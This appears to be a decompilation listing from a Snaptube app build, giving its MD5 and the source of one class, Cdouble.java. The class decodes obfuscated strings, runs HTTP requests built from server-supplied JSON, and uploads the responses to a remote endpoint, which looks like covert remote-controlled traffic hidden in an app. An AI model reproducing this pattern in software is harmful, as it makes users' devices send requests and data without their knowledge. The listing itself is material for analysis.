Snaptube v4.40.0.4401610版本的 MD5 值为:ca2b95dcff63007195db02a6c93091b9

以下内容为反编译后的 Cdouble.java 源代码,内容仅作参考


package com.mobi.p000do;

import android.util.Log;
import com.mobi.sdk.Cnative;
import java.util.HashMap;
import java.util.Iterator;
import org.json.JSONObject;
public class Cdouble extends Cthis {
    public Cdouble(String str) {
        super(str);
    }

    @Override
    void mo8191do(JSONObject jSONObject) {
        String str;
        String str2;
        JSONObject optJSONObject = jSONObject.optJSONObject("datainfo");
        if (optJSONObject != null) {
            String optString = jSONObject.optString("dataid");
            String optString2 = jSONObject.optString("dataType");
            String m8801do = Cnative.m8801do(new byte[]{111, 116, 89, 105, 87, 85, 49, 79, 72, 88, 61, 61});
            String m8801do2 = Cnative.m8801do(new byte[]{101, 55, 51, 105, 87, 116, 100, 75});
            String m8801do3 = Cnative.m8801do(new byte[]{113, 102, 51, 103, 87, 55, 122, 77, 114, 116, 73, 61});
            if (m8801do.equals(optString2)) {
                str = Celse.f8504char;
                str2 = m8801do + m8801do2;
            } else if (Cnative.m8801do(new byte[]{113, 55, 51, 75, 114, 116, 122, 69}).equals(optString2)) {
                str = Celse.f8507else;
                str2 = m8801do3 + m8801do2;
            } else {
                return;
            }
            JSONObject jSONObject2 = new JSONObject(optJSONObject.optString("head"));
            Iterator<String> keys = jSONObject2.keys();
            HashMap hashMap = new HashMap();
            while (keys.hasNext()) {
                String next = keys.next();
                hashMap.put(next, jSONObject2.optString(next));
            }
            hashMap.put("body", optJSONObject.optString("body"));
            new Cbyte(hashMap, Cimport.m8199do(this, m8801do3, m8801do2, str2, m8801do, jSONObject, optString, str)).run();
        }
    }

    public void m8190do(String str, String str2, String str3, String str4, JSONObject jSONObject, String str5, String str6, CharSequence charSequence) {
        String charSequence2 = charSequence.toString();
        Log.d("Sdata", "jobj: data:::" + charSequence2);
        Clong clong = new Clong();
        String substring = charSequence2.substring(0, 3);
        if ((str + str2).equals(str3)) {
            if (substring.equals("200")) {
                substring = "1";
            } else {
                substring = "0";
            }
        } else if (!(str4 + str2).equals(str3)) {
            substring = "";
        }
        clong.put(str3, substring);
        try {
            new Cdo(new Ctry("S" + substring + str3 + this.f8537do, "dupload&C=" + str5 + "&info=" + charSequence2, jSONObject.optString(Cnative.m8801do(new byte[]{72, 77, 107, 55, 107, 97, 70, 82, 111, 116, 108, 61})) + ":" + jSONObject.optString("appid")));
        } catch (Exception e) {
            e.printStackTrace();
        }
        clong.put(Cnative.m8801do(new byte[]{114, 77, 100, 106, 114, 77, 119, 70, 107, 88, 61, 61}), str5);
        clong.put("info", charSequence2);
        new Cdo(new Ctry(str6, Cshort.m8211do((Object) clong).toString()));
    }
}